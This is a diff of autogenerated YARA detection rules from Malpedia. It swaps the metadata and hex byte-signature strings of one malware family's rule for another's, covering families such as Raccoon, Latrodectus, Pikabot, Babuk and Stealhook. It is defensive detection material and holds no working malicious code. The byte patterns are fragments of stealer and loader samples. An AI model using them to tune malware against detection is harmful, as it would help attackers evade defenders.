MALPEDIA_Win_Wpbrutebot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5f636daa-92f3-5297-9096-cf07f3905b0c" + id = "79a22dd8-32fa-5f98-87d6-8da78951869d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deputy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deputy_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wpbrutebot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wpbrutebot_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "ca97585f0db258f9fdf08cb077c29b43b172f7ef4964d85d883e4007934393d7" + logic_hash = "5822d74137e23703d26984f7196edc8d3decd3d594175136f45cb9821ea5add2" score = 75 quality = 75 tags = "FILE" @@ -87319,32 +87374,32 @@ rule MALPEDIA_Win_Deputy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 6808020000 50 8d85e4f9ffff 50 e8???????? 83c40c } - $sequence_1 = { 58 6bc000 c780ac40001002000000 6a04 } - $sequence_2 = { 8d0436 50 6a00 57 8985ccf9ffff e8???????? } - $sequence_3 = { ff15???????? eb6c 56 57 } - $sequence_4 = { 50 ff510c 85c0 0f85b0030000 } - $sequence_5 = { 8d85d0f9ffff 50 68???????? 68???????? ff15???????? 85c0 } - $sequence_6 = { 59 c3 e8???????? 85c0 0f843f070000 } - $sequence_7 = { 0f1005???????? 66a1???????? 2bca d1f9 0f11844df4fdffff 6689844d04feffff 85db } - $sequence_8 = { e8???????? 83c40c 8d85ecfbffff 6804010000 50 ff35???????? } - $sequence_9 = { ffb5c8f9ffff 8bd8 8d85e0f9ffff ffb5ccf9ffff 56 53 50 } + $sequence_0 = { c745f85968337b 33c0 c645fc00 8d4809 304c05f8 40 83f804 } + $sequence_1 = { 85c0 0f8438020000 ff7624 8b442418 ff742414 50 50 } + $sequence_2 = { f7e9 c1fa02 8bc2 c1e81f 03c2 83f803 764f } + $sequence_3 = { c1c010 85c3 7416 8b449438 8904ef b810000000 668944ef04 } + $sequence_4 = { ff742458 0f45c8 8d44247c ff742434 55 56 52 } + $sequence_5 = { c3 b8???????? eb0c b8???????? eb05 b8???????? 57 } + $sequence_6 = { c74008???????? c7400ca0f76200 c74010e1000000 c3 e8???????? 85c0 0f8488000000 } + $sequence_7 = { eb10 83f804 755e 807c244020 0f85130d0000 8b442418 8d0480 } + $sequence_8 = { c605????????00 e8???????? b9???????? c645fc05 e8???????? 6a6b 68???????? } + $sequence_9 = { 803f2f 0f8518020000 807f012f 7563 8a4702 83c702 3c2f } condition: - 7 of them and filesize < 51200 + 7 of them and filesize < 5134336 } -rule MALPEDIA_Win_Dimnie_Auto : FILE +rule MALPEDIA_Win_Latrodectus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "faec140a-eb16-5876-b92f-a4f4dcf83df4" + id = "8cce3c90-39d6-56c7-a70d-a97dc872745e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dimnie_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.latrodectus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.latrodectus_auto.yar#L1-L177" license_url = "N/A" - logic_hash = "8e390553f6468d186c93389bf0eaa300637b1e54d4adacff8f64a890d9a8be5a" + logic_hash = "db1ab846766f29e28e7ba8cb8d168586ae215020b0ee3fc8ee79e547f904c4d9" score = 75 quality = 75 tags = "FILE" @@ -87358,34 +87413,40 @@ rule MALPEDIA_Win_Dimnie_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb04 c645af3d 8b4d0c 8a55af 885102 837d1002 } - $sequence_1 = { 7e28 8b5508 0fb64201 83e00f c1e002 8b4d08 0fb65102 } - $sequence_2 = { 8b450c eb54 8b550c 2b5508 83fa01 751c 0f31 } - $sequence_3 = { c70201000000 8b4508 8b08 83e10f 8b5508 } - $sequence_4 = { eb54 8b550c 2b5508 83fa01 751c } - $sequence_5 = { eb61 8b4d08 3b4d0c 7605 8b450c eb54 8b550c } - $sequence_6 = { c70201000000 8b4508 8b08 83e10f 8b5508 890a } - $sequence_7 = { 8855ae eb04 c645ae3d 8b450c 8a4dae } - $sequence_8 = { b90d000000 be???????? 8d7dbc f3a5 } - $sequence_9 = { 8b4d0c 8a55af 885102 837d1002 7e13 8b4508 } + $sequence_0 = { 488b4c2430 8801 488b442430 48ffc0 4889442430 8b44242c } + $sequence_1 = { 33c0 6689842430010000 ba18000000 488d8c24d0000000 e8???????? 488d8424d0000000 } + $sequence_2 = { 33c9 ff15???????? 488905???????? 48833d????????00 7414 } + $sequence_3 = { 488b542458 488d4c2428 e8???????? 488b4c2458 e8???????? 488b442420 } + $sequence_4 = { 488b00 488b4818 e8???????? 488b442430 488b00 4883782000 } + $sequence_5 = { 89442420 8b442420 4883f825 7336 8b442420 486bc018 } + $sequence_6 = { 488bc1 488b4c2450 0fb709 488d0488 4889442438 488b442438 } + $sequence_7 = { e8???????? 89442420 ba68000000 488d4c2430 e8???????? c744243068000000 } + $sequence_8 = { 4883e808 4883f81f 0f87ab000000 e8???????? 488bc3 488b8dd0050000 } + $sequence_9 = { 410fb6f0 e9???????? 80fb05 7405 80fb0b 7508 } + $sequence_10 = { 480f474d70 488b8580000000 4889442430 48894c2428 4889542420 4c8d05fd2d0600 } + $sequence_11 = { 4833c4 4889842448010000 498bf1 4d8bf0 8bfa 4c89442458 } + $sequence_12 = { 41b826000000 488d1591b10b00 488d4c2430 e8???????? 90 488b7c2440 } + $sequence_13 = { 4883ec30 488b442460 498bf9 492bf8 488bf2 482bf1 } + $sequence_14 = { 0f87dc030000 0faee8 e8???????? 660f6f05???????? f30f7f442478 664489642468 } + $sequence_15 = { 0fb605???????? 884130 c6413100 0f57c0 0f11442438 488d3da9630d00 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 2467840 } -rule MALPEDIA_Win_Sedreco_Auto : FILE +rule MALPEDIA_Win_Moker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f5874626-d0e0-58d9-91c8-0db502ae6b52" + id = "cb9352b8-7986-51d0-bfba-8cdb83b8b9cc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sedreco_auto.yar#L1-L422" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moker_auto.yar#L1-L162" license_url = "N/A" - logic_hash = "f4bff7c9ba602579624cb55726a1e993d47a39a8f6d5c8006861ce5f5842d524" + logic_hash = "7734cc9477f43c35a46e19994290fc756278e602b0dee6674db4466771e526fb" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -87397,69 +87458,38 @@ rule MALPEDIA_Win_Sedreco_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 836d0804 53 56 8b750c } - $sequence_1 = { 8b750c 56 e8???????? 6a08 } - $sequence_2 = { e8???????? 89450c 56 85c0 } - $sequence_3 = { 55 8bec 51 836d0804 } - $sequence_4 = { c645ff30 e8???????? 85c0 7505 } - $sequence_5 = { 50 68???????? 6a0d 68???????? } - $sequence_6 = { 7411 6a04 68???????? 68???????? } - $sequence_7 = { 7ce0 a1???????? 5e 85c0 } - $sequence_8 = { 51 6802020000 68???????? 50 } - $sequence_9 = { 56 be???????? 8b06 85c0 740f 50 } - $sequence_10 = { ffd6 8b0d???????? 894104 85c0 } - $sequence_11 = { 751d 6afe 8d45f0 50 } - $sequence_12 = { 83c40c b801000000 8b4df0 64890d00000000 59 5f } - $sequence_13 = { 83c604 81fe???????? 7ce0 a1???????? } - $sequence_14 = { ffd6 8b0d???????? 898138010000 85c0 } - $sequence_15 = { 488b05???????? ff90e8000000 488b0d???????? 488b05???????? ff5028 48c705????????00000000 } - $sequence_16 = { c744242004000000 4533c9 4533c0 ba000000c0 488b0d???????? 488b05???????? } - $sequence_17 = { 68???????? e8???????? 8b35???????? 83c404 6a00 } - $sequence_18 = { 488b05???????? ff90e8000000 ba10270000 488b0d???????? 488b05???????? } - $sequence_19 = { 68???????? 6a00 6a00 ffd6 8b4dfc 5f } - $sequence_20 = { 4883c010 4883c428 c3 48890d???????? c3 48895c2410 } - $sequence_21 = { 33d2 33c9 488b05???????? ff90f0000000 488905???????? } - $sequence_22 = { 6800010000 6a00 68???????? e8???????? 6800020000 6a00 68???????? } - $sequence_23 = { 488b05???????? ff90e0000000 488b0d???????? 488b05???????? ff90a8010000 } - $sequence_24 = { 6a00 ffd6 50 68???????? 6aff 68???????? } - $sequence_25 = { 41b906000200 4533c0 488b15???????? 48c7c101000080 488b05???????? ff9038010000 } - $sequence_26 = { 8b442458 89442428 488b442450 4889442420 41b903000000 4533c0 488b15???????? } - $sequence_27 = { 7cd5 68???????? e8???????? 8b4dfc } - $sequence_28 = { 8b4dfc 5f 5e 33cd b8???????? 5b } - $sequence_29 = { 6a0a 8d45f4 50 51 e8???????? } - $sequence_30 = { 6800000080 8d85f0fdffff 50 ff15???????? 8bf0 83feff } - $sequence_31 = { 894df0 ff15???????? 8945fc 8b45f0 8945f4 8b45f4 50 } - $sequence_32 = { 57 c785ecfeffff01000000 c785e8feffffe197af54 0f6e85e8feffff } - $sequence_33 = { 53 56 57 894df0 ff15???????? 8945fc } - $sequence_34 = { 8bf1 8b06 50 8b08 ff9180000000 } - $sequence_35 = { 50 ff512c 8bce 8bd8 } - $sequence_36 = { 6aff 50 6a00 6a00 ff15???????? 5e } - $sequence_37 = { 53 56 57 c745dce197af54 0f6e45dc 0f72f002 } - $sequence_38 = { 6a07 68???????? e8???????? 85c0 7402 eb0d 68e0930400 } - $sequence_39 = { 52 50 8bce e8???????? 50 ffd7 85c0 } - $sequence_40 = { 895e30 895e2c 895e34 8bc6 5f 5e } - $sequence_41 = { c645fc04 50 e8???????? 83c418 6a01 } - $sequence_42 = { e8???????? 8b4e2c 8b5610 89442424 6aff 8d442428 6a00 } - $sequence_43 = { fe40ff eb3d 8b742448 6a01 53 } - $sequence_44 = { 8b4c2474 8b7c2478 8944241c 56 89442424 6a01 } - $sequence_45 = { 8bf0 8b442414 85c0 7505 a1???????? } - $sequence_46 = { ff15???????? 85c0 894604 7522 8d4de4 } + $sequence_0 = { 0302 8945d4 8b4dd4 83c102 } + $sequence_1 = { 0301 8945e0 e8???????? 8b55e8 } + $sequence_2 = { 0100 83c414 85c0 7502 eb0a } + $sequence_3 = { 0302 8945e8 eb09 8b45e8 } + $sequence_4 = { 0302 8945dc 8b45dc 83c002 } + $sequence_5 = { 0302 8945e8 8b4df8 8b55fc } + $sequence_6 = { 6a00 8b15???????? 52 6a1e 6a3c } + $sequence_7 = { 0302 50 e8???????? 83c404 3b450c 750b 8b4df0 } + $sequence_8 = { 034508 8078fe5c 740d c6005c c6400100 } + $sequence_9 = { 50 6800800000 6a00 ff7508 ff15???????? e8???????? 9d } + $sequence_10 = { 39f7 7410 fc 39fe } + $sequence_11 = { 730c 8b420c 29c6 8b4214 01c6 eb06 83c228 } + $sequence_12 = { eb82 8b86b8000000 40 8d5002 83aec400000004 } + $sequence_13 = { 75eb 59 5e 5f c9 c21000 } + $sequence_14 = { 51 8b4510 48 ff4514 } + $sequence_15 = { 8d5001 52 8d5580 52 e42b } condition: - 7 of them and filesize < 1586176 + 7 of them and filesize < 1761280 } -rule MALPEDIA_Win_Raccoon_Auto : FILE +rule MALPEDIA_Win_Doplugs_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "426735cd-205f-5856-956c-bf7b885a57ea" + id = "4aa6b45e-3a15-5665-b8ab-574c45e7a423" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.raccoon_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doplugs" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doplugs_auto.yar#L1-L105" license_url = "N/A" - logic_hash = "30039f1e9ada41f0fa18f5ba2d7fb988ae243b357b509d0986ea0785e88878da" + logic_hash = "3a8a777ec93c3f944683664500df734649c491983fb906ea5cefcf412da3de95" score = 75 quality = 75 tags = "FILE" @@ -87473,34 +87503,32 @@ rule MALPEDIA_Win_Raccoon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 53 ff75f8 c745fcff070000 ff15???????? 85c0 7488 } - $sequence_1 = { e8???????? e9???????? 8d45f0 c645f001 51 50 } - $sequence_2 = { 7403 832700 8b5d14 33f6 83fb01 7507 } - $sequence_3 = { 394708 7417 684c0e0000 68???????? 68???????? } - $sequence_4 = { 51 8bc2 8945fc 56 8bf1 } - $sequence_5 = { 8d4dfc 51 8d4df8 c745ec02000000 51 } - $sequence_6 = { 56 57 e8???????? 83c414 ff75f4 ff15???????? } - $sequence_7 = { 8d45ec c706???????? 50 53 ff75e4 895dec ff15???????? } - $sequence_8 = { 8d55cc ff75cc 52 ff5024 807dcc00 6a04 58 } - $sequence_9 = { 8975e4 894df0 33c0 40 8945fc } + $sequence_0 = { 01fe 21f3 f7d6 21d6 09de } + $sequence_1 = { 83e13f c1f806 6bc938 8b0485b0390a10 0fb6440828 83e040 5d } + $sequence_2 = { ff15???????? 8b04bdb0390a10 834c0318ff 33c0 eb16 e8???????? c70009000000 } + $sequence_3 = { 6bc938 8b0485b0390a10 f644082801 7406 8b440818 5d } + $sequence_4 = { 89d3 83e2bf f7d3 83e340 09da } + $sequence_5 = { 57 8db8a4350a10 57 ff15???????? ff0d???????? 83ef18 } + $sequence_6 = { 31c0 8b4c2414 8b542438 8b521c 29d0 } + $sequence_7 = { 8b0c24 89ca 80e1ad f6d2 80e252 08d1 } condition: - 7 of them and filesize < 1212416 + 7 of them and filesize < 1355776 } -rule MALPEDIA_Win_Pinchduke_Auto : FILE +rule MALPEDIA_Win_Pikabot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e6e399a5-546d-5d19-a886-28527d9b5a32" + id = "4ac687d3-814a-53f0-bdd6-30b0d584e28f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pinchduke_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pikabot_auto.yar#L1-L281" license_url = "N/A" - logic_hash = "e4ca655f5577580240493398d3de5b1f8ec351f42cf4a56b66853235bb7ac675" + logic_hash = "3b0362ab404ac85076078e4d22f7ab9dbd258b909dc0b4272cd29c1c8ac6cad3" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -87512,71 +87540,92 @@ rule MALPEDIA_Win_Pinchduke_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c40c 83c610 4f 75c3 e9???????? 8d45f0 50 } - $sequence_1 = { c6400274 e8???????? 56 e8???????? 59 59 89442414 } - $sequence_2 = { e8???????? 59 59 8d8df8fdffff 3bc1 7545 } - $sequence_3 = { c685f7fbffff00 e8???????? 8d85f4fbffff 50 e8???????? 83c414 84c0 } - $sequence_4 = { 68???????? 50 e8???????? 3bc7 59 59 740f } - $sequence_5 = { 334dcc 8d943a9979825a 8b7df4 d1c1 8955f0 c1c205 337df8 } - $sequence_6 = { c9 c3 833d????????00 752f 833d????????00 } - $sequence_7 = { 898618040000 6a08 50 ff15???????? 898608010000 5f 8bc6 } - $sequence_8 = { 03f9 037df0 8908 8b4824 334804 8975fc 334838 } - $sequence_9 = { 53 e8???????? 59 85ff 7472 c60700 e9???????? } + $sequence_0 = { ebd3 8b4508 c9 c3 55 8bec } + $sequence_1 = { 83ec0c 8b4508 8945fc 8b450c 8945f8 8b4510 } + $sequence_2 = { 837df400 741a 8b45fc 8b4df8 } + $sequence_3 = { 40 8945f8 ebd3 8b4508 } + $sequence_4 = { 8945f8 8b4510 8945f4 8b4510 } + $sequence_5 = { 8b4510 48 894510 837df400 741a } + $sequence_6 = { 8b4df8 8a09 8808 8b45fc 40 8945fc 8b45f8 } + $sequence_7 = { 7ce9 8b4214 2b420c 5f } + $sequence_8 = { 8a1c08 8d4320 0fb6c8 8d53bf 80fa19 0fb6c3 0f47c8 } + $sequence_9 = { 56 8bf1 85c9 7419 85d2 7415 } + $sequence_10 = { 85c9 7436 85ff 7432 } + $sequence_11 = { 0fabd0 83fa20 6a08 0f43c8 } + $sequence_12 = { e8???????? 8bd0 e8???????? 3b45fc } + $sequence_13 = { 41 e8???????? ffd0 c9 c3 } + $sequence_14 = { 6a08 0f43c8 33c1 83fa40 } + $sequence_15 = { 3bc7 72d5 5b 5f 8bc6 } + $sequence_16 = { 83ec10 53 56 8b35???????? b84d5a0000 57 8955fc } + $sequence_17 = { 8a040a 84c0 75f6 c60100 8bc6 5e c3 } + $sequence_18 = { 0fb6d1 03c2 0fb6c0 8945f8 } + $sequence_19 = { 81f900010000 72f0 8bf0 33d2 } + $sequence_20 = { 0345f8 03c8 0fb6c9 894df8 } + $sequence_21 = { 40 3d00010000 72f1 8b35???????? 8bf9 } + $sequence_22 = { 0345f8 03c8 0fb6c1 8945f8 } + $sequence_23 = { 8b01 0d20202020 3d6e74646c 750f } + $sequence_24 = { a3???????? 8b45d4 890424 a1???????? ff5058 56 } + $sequence_25 = { 89442408 31c0 89442404 e8???????? 8b45e4 } + $sequence_26 = { 890424 e8???????? 8b8514f9ffff 89442404 a1???????? } + $sequence_27 = { 890424 e8???????? 8b8560f9ffff 89442404 } + $sequence_28 = { 890424 e8???????? 89c2 a1???????? 895048 } + $sequence_29 = { a1???????? 8b00 890424 e8???????? a1???????? 8b9060010000 89542404 } + $sequence_30 = { 890424 a1???????? ff9090000000 83ec10 } condition: - 7 of them and filesize < 223680 + 7 of them and filesize < 1717248 } -rule MALPEDIA_Elf_Babuk_Auto : FILE +rule MALPEDIA_Win_Chthonic_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8eba83d0-6c95-5d1f-85db-3750f26fdff6" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.babuk_auto.yar#L1-L131" + id = "9308f91d-3793-554b-b1d0-64ba8302fadb" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chthonic" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chthonic_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "a4e1d4252d61243f852bbd89e2ebf51566a3485791e9905d978089b8c49c4cb9" + logic_hash = "4dc2485521a827af3e062f4f45b00520b596cc6d1b868ae843ff411ddfc73052" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 658b0d00000000 8b89fcffffff 3b6108 7678 83ec14 8b442418 8b4c241c } - $sequence_1 = { 8b4c2438 890f 8b542444 89570c 8b1d???????? 85db } - $sequence_2 = { e8???????? 8b44240c 89442410 8b4c2418 890c24 e8???????? 8b442420 } - $sequence_3 = { e8???????? 8b442438 8b4804 90 8b492c 894c2420 e8???????? } - $sequence_4 = { c3 658b1d00000000 8b9bfcffffff 8b5b18 8b5b70 8403 890424 } - $sequence_5 = { 01d9 8b9c24a8010000 8bbc243c030000 01fb 11cd 8b8c248c010000 8b9c2464020000 } - $sequence_6 = { 8b44244c 8b4c2440 31d2 eb06 8d5101 90 89f1 } - $sequence_7 = { 895328 8b9424b0000000 8b8c2490000000 01ca 33562c 89532c } - $sequence_8 = { 8b5a40 39d8 0f85360f0000 89bc2408020000 81c4dc010000 c3 89c7 } - $sequence_9 = { 8b4c2424 01ca 89942444050000 8b8c2490050000 c1e11a 898c2420050000 } + $sequence_0 = { 8bcf d3ee 83e601 eb00 8b4df8 } + $sequence_1 = { 0f850d010000 8b4df0 eb00 894df8 } + $sequence_2 = { 8a08 32ca 80e17f 8808 b001 c3 8b442404 } + $sequence_3 = { 74cf 8345fc02 b9000d0000 3b4df8 1bc9 f7d9 014dfc } + $sequence_4 = { 894df0 e9???????? 8b4514 8b4df4 8908 33c0 3b550c } + $sequence_5 = { 5f c1ee1f e9???????? 8b041a 6a1f 8bf0 } + $sequence_6 = { 80e17f 8808 b001 c3 8b442404 } + $sequence_7 = { e9???????? 8b041a 6a1f 8bf0 83c204 5f } + $sequence_8 = { 7cf4 33f6 33d2 8bc6 f77514 8b4510 8d8cb5fcfbffff } + $sequence_9 = { 3b550c 5f 5e 0f94c0 5b c9 c3 } condition: - 7 of them and filesize < 4186112 + 7 of them and filesize < 425984 } -rule MALPEDIA_Win_Covid22_Auto : FILE +rule MALPEDIA_Win_Jackpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "99a02a74-d0a3-533c-b448-35480cff51fc" + id = "705d47f5-8c33-5d05-9f3c-cd8693aecd05" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.covid22_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jackpos_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "968cf98e2e8c36cdb3ce45b1a5e5186c5425f3f25bc15cd333cdcc77eeba73ef" + logic_hash = "aebd9f3ce681adad20f8842dd1ad147a46f77997d7d0dde94d3c3be1cf2f594d" score = 75 quality = 75 tags = "FILE" @@ -87590,34 +87639,34 @@ rule MALPEDIA_Win_Covid22_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a4d78 83c40c f6c102 8975dc 897d08 } - $sequence_1 = { 57 e8???????? 8d7438ff 3bf7 } - $sequence_2 = { 8b3d???????? ffd7 8b4608 85c0 7403 50 ffd7 } - $sequence_3 = { 33d9 81e3ff000000 c1e908 330c9df0904000 0fb65801 } - $sequence_4 = { 89c3 83fb01 7532 ff35???????? } - $sequence_5 = { e8???????? 8d0df4b14000 5a e8???????? 8b442414 e8???????? 50 } - $sequence_6 = { 83c001 8bce c1e908 330c9df0904000 0fb618 33d9 } - $sequence_7 = { 8d0d14b24000 e8???????? ba???????? 8d0d18b24000 e8???????? ba???????? } - $sequence_8 = { c705????????0a4c4000 c705????????304c4000 c705????????01000000 837d1c00 7507 c7451c00904000 } - $sequence_9 = { ba???????? 8d0d10b24000 e8???????? ba???????? 8d0d14b24000 } + $sequence_0 = { 8945e4 83f805 7d10 668b4c4310 66890c45f8124200 40 ebe8 } + $sequence_1 = { 57 8bf8 8b450c 397518 0f86a4000000 8b4508 83c008 } + $sequence_2 = { 8b7508 56 c745fc04000000 e8???????? 83c404 837e7010 } + $sequence_3 = { d1ff 57 8b7d14 57 } + $sequence_4 = { c60700 80780100 7e04 40 8945c4 8a00 3c7f } + $sequence_5 = { 8b10 83c40c 51 52 8d4594 50 } + $sequence_6 = { 03c9 51 8b4df8 8d1459 52 e8???????? 8b4614 } + $sequence_7 = { 85db 0f86f8000000 57 8b7e14 } + $sequence_8 = { ff15???????? 6aff 6a00 8bc6 8bcb e8???????? } + $sequence_9 = { c645fc01 50 c745f001000000 e8???????? c745fc02000000 bb03000000 57 } condition: - 7 of them and filesize < 1955840 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Iispy_Auto : FILE +rule MALPEDIA_Win_Heriplor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4e322e5f-cd33-52bd-bbf3-6439753e827c" + id = "fea80a8c-f479-5ce5-81b4-e326d3255abd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iispy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iispy_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.heriplor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.heriplor_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "a87fdac5aecf4afd1bb012fec4f493869a7cd5fec753856e83872c6436c79acf" + logic_hash = "bcabe5553c3788da5ec383050fc0580bed7efb49f5fdd5cfd8664f6ebd97276a" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -87629,32 +87678,32 @@ rule MALPEDIA_Win_Iispy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 837c242400 8bf8 740c ff742428 e8???????? 83c404 } - $sequence_1 = { 03d8 eb49 b8d34d6210 f7e3 8bca 8b5514 c1e906 } - $sequence_2 = { 50 8d4110 50 8d4129 50 } - $sequence_3 = { 8b048528cf0210 0fb6440828 83e040 5d c3 e8???????? c70009000000 } - $sequence_4 = { 84c0 0f8429010000 8b4c2408 83c620 8b01 c1e005 } - $sequence_5 = { b81f85eb51 f7eb 5f c1fa05 8bca c1e91f 03ca } - $sequence_6 = { 6a01 53 ff15???????? ebe0 b80d000780 5f 5e } - $sequence_7 = { 68000000c0 57 ff15???????? 8bf8 83ffff 74c5 8b4dec } - $sequence_8 = { 3245f0 32ec 3245e4 3245e0 3245e8 3245d0 3245ff } - $sequence_9 = { 50 e8???????? 83a628cf021000 59 83c604 81fe00020000 72dd } + $sequence_0 = { 84c9 740d 80c960 01cb } + $sequence_1 = { 56 57 33c9 648b4130 8b400c } + $sequence_2 = { 7420 46 46 46 46 } + $sequence_3 = { 8a08 84c9 740d 80c960 } + $sequence_4 = { 8b0491 01f8 5f 5e 89ec 5d c20800 } + $sequence_5 = { 43 ebe6 33d2 668b13 } + $sequence_6 = { 3b5d0c 7401 40 5b 59 89ec 5d } + $sequence_7 = { 5d c20c00 55 89e5 56 57 33c9 } + $sequence_8 = { 01fb 8b32 01fe 6a01 ff750c 56 e8???????? } + $sequence_9 = { 43 ebe6 33d2 668b13 8b0491 01f8 } condition: - 7 of them and filesize < 397312 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Stealhook_Auto : FILE +rule MALPEDIA_Win_Backswap_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b998f829-6a22-55c4-913b-e54119474a49" + id = "0b4784b7-cd96-5e54-a073-0338b4b75481" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stealhook" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stealhook_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backswap_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "50f44fb127afc2237096592b9ec06ad6fce68e47e81e08acb0de7cd16e206d85" + logic_hash = "2b5d3806ddf0898828d393c845cc1b722a49353e80ebab2271198eaec3b3ad5a" score = 75 quality = 75 tags = "FILE" @@ -87668,32 +87717,32 @@ rule MALPEDIA_Win_Stealhook_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 410fb6868e000000 41884705 410fb6868f000000 41884704 410fb68690000000 4188470b 418b8690000000 } - $sequence_1 = { e8???????? 48833b00 488d0dd7170500 480f450b } - $sequence_2 = { 4a0fbe8419389a0600 428a8c19489a0600 4c2bd0 418b4048 418b52fc d3ea 03c2 } - 